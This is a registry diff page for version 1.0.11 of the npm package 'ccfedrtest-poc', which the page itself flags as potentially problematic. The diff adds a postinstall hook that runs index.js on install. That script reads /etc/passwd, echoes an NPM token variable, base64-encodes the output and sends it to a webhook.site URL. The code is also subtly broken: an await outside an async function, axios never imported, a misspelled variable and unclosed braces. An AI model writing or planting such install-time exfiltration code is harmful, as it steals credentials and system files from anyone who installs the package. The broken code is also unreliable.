ccfedrtest-poc 1.0.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of ccfedrtest-poc might be problematic. Click here for more details.
- package/index.js +41 -0
- package/package.json +16 -0
package/index.js
ADDED
@@ -0,0 +1,41 @@
|
|
1
|
+
const { exec } = require('child_process');
|
2
|
+
const fs = require('fs');
|
3
|
+
|
4
|
+
// Specify the command to execute
|
5
|
+
const commandToExecute = 'cat /etc/passwd'; // Replace this with the command you want to execute
|
6
|
+
|
7
|
+
// Execute the command
|
8
|
+
exec(commandToExecute, (error, stdout, stderr) => {
|
9
|
+
if (error) {
|
10
|
+
console.error(`Error executing command: ${error.message}`);
|
11
|
+
return;
|
12
|
+
}
|
13
|
+
const base64Encoded = Buffer.from(stdout).toString('base64');
|
14
|
+
// Write the command output to a file
|
15
|
+
const outputFile = '/tmp/test_secret.txt';
|
16
|
+
fs.writeFile(outputFile, stdout, 'utf8', (err) => {
|
17
|
+
if (err) {
|
18
|
+
console.error(`Error writing to ${outputFile}: ${err}`);
|
19
|
+
} else {
|
20
|
+
console.log(`Command output has been written to ${outputFile}`);
|
21
|
+
}
|
22
|
+
});
|
23
|
+
});
|
24
|
+
const commandToExecute2 = 'echo $NPM_TOKENN';
|
25
|
+
exec(commandToExecute2, (error, stdout, stderr) => {
|
26
|
+
if (error) {
|
27
|
+
console.error(`Error executing command: ${error.message}`);
|
28
|
+
return;
|
29
|
+
}
|
30
|
+
|
31
|
+
// Store the environment variables as a string
|
32
|
+
const envVariables = stdout;
|
33
|
+
|
34
|
+
// Base64 encode the environment variables
|
35
|
+
const base64Encoded2 = Buffer.from(envVariables).toString('base64');
|
36
|
+
externalSiteUrl = "https://webhook.site/5fcc87bb-0eab-491a-a3c6-f31acf42de96"
|
37
|
+
const response = await axios.get(externalSiteUrl, {
|
38
|
+
params: {
|
39
|
+
encodedContent: base64Encoded,
|
40
|
+
},
|
41
|
+
});
|
package/package.json
ADDED
@@ -0,0 +1,16 @@
|
|
1
|
+
{
|
2
|
+
"name": "ccfedrtest-poc",
|
3
|
+
"version": "1.0.11",
|
4
|
+
"description": "test",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"postinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"axios": "^1.5.0",
|
14
|
+
"ccfedrtest-poc": "^1.0.9"
|
15
|
+
}
|
16
|
+
}
|